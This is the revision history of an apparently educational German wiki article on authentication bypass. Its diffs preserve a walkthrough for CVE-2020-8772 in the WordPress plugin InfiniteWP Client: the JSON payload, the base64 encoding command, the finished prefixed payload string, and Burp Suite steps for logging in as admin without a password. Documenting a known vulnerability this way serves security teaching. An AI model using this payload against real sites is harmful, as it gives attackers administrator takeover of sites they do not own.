Authentication Bypass - Versionsgeschichte

Thomas.will: Der Seiteninhalt wurde durch einen anderen Text ersetzt: „Was ist ein Authentication Bypass? Authentication Bypass Wordpress“

2023-01-27T07:04:54Z

Der Seiteninhalt wurde durch einen anderen Text ersetzt: „*Was ist ein Authentication Bypass? *Authentication Bypass Wordpress“

Thomas.will: /* Erstellen des ersten Teils des Payloads und Konvertieren in base64. */

2023-01-26T18:06:44Z

Erstellen des ersten Teils des Payloads und Konvertieren in base64.

Thomas.will: /* Warum Base64 Kodierung? */

2023-01-26T17:52:31Z

Warum Base64 Kodierung?

Thomas.will: /* Erstellung des Payloads */

2023-01-26T17:52:04Z

Erstellung des Payloads

Thomas.will: /* Resultat */

2023-01-26T17:22:16Z

Resultat

Thomas.will am 26. Januar 2023 um 17:22 Uhr

2023-01-26T17:22:03Z

Thomas.will: /* CVE */

2023-01-26T17:21:41Z

CVE

Mario.zimmermann am 26. Januar 2023 um 17:01 Uhr

2023-01-26T17:01:43Z

Thomas.will: /* Vorbermerkung */

2023-01-26T16:49:31Z

Vorbermerkung

Mario.zimmermann: /* Payload */

2022-11-07T06:27:20Z

Payload

← Nächstältere Version		Version vom 27. Januar 2023, 07:04 Uhr
Zeile 1:		Zeile 1:
−	~~=Anforderungen um diesen Hack auszuführen=~~	+	*[[Was ist ein Authentication Bypass?]]
−	*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)	+	*[[Authentication Bypass Wordpress]]
−	*Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
−	*Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
−	~~;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.~~
−	~~=Beispiel=~~
−	~~[[Datei:Wp-hack.png]]~~
−
−	~~=Vorgehen=~~
−	*Starten der Burp-Suite
−	*Navigation zu der Registrierkarte "proxy"
−	*~~Öffnen des Navigationpunktes "Intercept"~~
−	*Navigationpunkte "Intercept" auf "on" stellen
−	*Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren
−
−
−	[[~~Datei:~~Authentication-Bypass~~-Wordpress.png\|900px]]~~
−
−	~~==Erstellung des Payloads==~~
−	*Benötigte Parameter zur Generierung des Payloads.
−	~~{"iwp_action":"add_site","params":{"username":"admin"}}~~
−	~~=Warum Base64 Kodierung~~?=
−	*[[Base64 Kodierung]]
−	~~=Erstellen des ersten Teils des Payloads und Konvertieren in base64.=~~
−	~~echo '{"iwp_action":"add_site","params":{"username":"admin"}}' \| base64 -w0~~
−	~~-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=~~
−	*~~Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .~~
−	~~_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=~~
−	*Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
−	*Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.
−	[[~~Datei:~~Authentication-Bypass~~-Wordpress2.png\|900px]]~~
−	*Klicken Sie auf Forward und schalten Sie "Intercept" aus.
−	*Neuladen der Opfer Website im Burp Suite Webbrowser.
−
−	~~=Resultat=~~
−	~~[[Datei:Wp-hack-4.png~~]]
−
−	~~=CVE=~~
−	*CVE-2020-8772
−	~~=Links=~~
−	~~[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass~~]

@@ Zeile 24: / Zeile 24: @@
 =Erstellen des ersten Teils des Payloads und Konvertieren in base64.=
   echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-  -> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
+  -> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 *Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
-  _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
+  _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 *Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
 *Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.

@@ Zeile 22: / Zeile 22: @@
 =Warum Base64 Kodierung?=
 *[[Base64 Kodierung]]
-*Erstellen des ersten Teils des Payloads und Konvertieren in base64.
+=Erstellen des ersten Teils des Payloads und Konvertieren in base64.=
   echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
   -> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%

@@ Zeile 20: / Zeile 20: @@
 *Benötigte Parameter zur Generierung des Payloads.
   {"iwp_action":"add_site","params":{"username":"admin"}}
 *Erstellen des ersten Teils des Payloads und Konvertieren in base64.
   echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
@@ Zeile 30: / Zeile 32: @@
 *Klicken Sie auf Forward und schalten Sie "Intercept" aus.
 *Neuladen der Opfer Website im Burp Suite Webbrowser.
 =Resultat=

@@ Zeile 33: / Zeile 33: @@
 =Resultat=
-[[Datei:Wp-hack-1.png]]
+[[Datei:Wp-hack-4.png]]
 =CVE=

@@ Zeile 30: / Zeile 30: @@
 *Klicken Sie auf Forward und schalten Sie "Intercept" aus.
 *Neuladen der Opfer Website im Burp Suite Webbrowser.
 =CVE=
 *CVE-2020-8772
-==Links==
+=Links=
 [https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

@@ Zeile 1: / Zeile 1: @@
-=CVE=
+=Anforderungen um diesen Hack auszuführen=
-*CVE-2020-8772
+*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)
-=Vorbermerkung=
+*Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
-*Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
+*Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
-*Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
+;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.
 =Beispiel=
 [[Datei:Wp-hack.png]]
-=Request=
+=Vorgehen=
-*Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
+*Starten der Burp-Suite
-*Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.
+*Navigation zu der Registrierkarte "proxy"
 [[Datei:Authentication-Bypass-Wordpress.png|900px]]
-=Payload=
+==Erstellung des Payloads==
-*Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
+*Benötigte Parameter zur Generierung des Payloads.
   {"iwp_action":"add_site","params":{"username":"admin"}}
-  Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
+*Erstellen des ersten Teils des Payloads und Konvertieren in base64.
+ echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-*echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
+ -> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
-*Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
+*Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
+  _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
-  Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
+*Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
+*Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.
 [[Datei:Authentication-Bypass-Wordpress2.png|900px]]
-*Klicken Sie auf Forward und schalten Sie den Intercept aus.
+*Klicken Sie auf Forward und schalten Sie "Intercept" aus.
-*Jetzt müssen wir die Seite einmal neuladen.
+*Neuladen der Opfer Website im Burp Suite Webbrowser.
 ==Links==
 [https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

@@ Zeile 9: / Zeile 9: @@
 *Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
 *DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
+=Beispiel=
 =Request=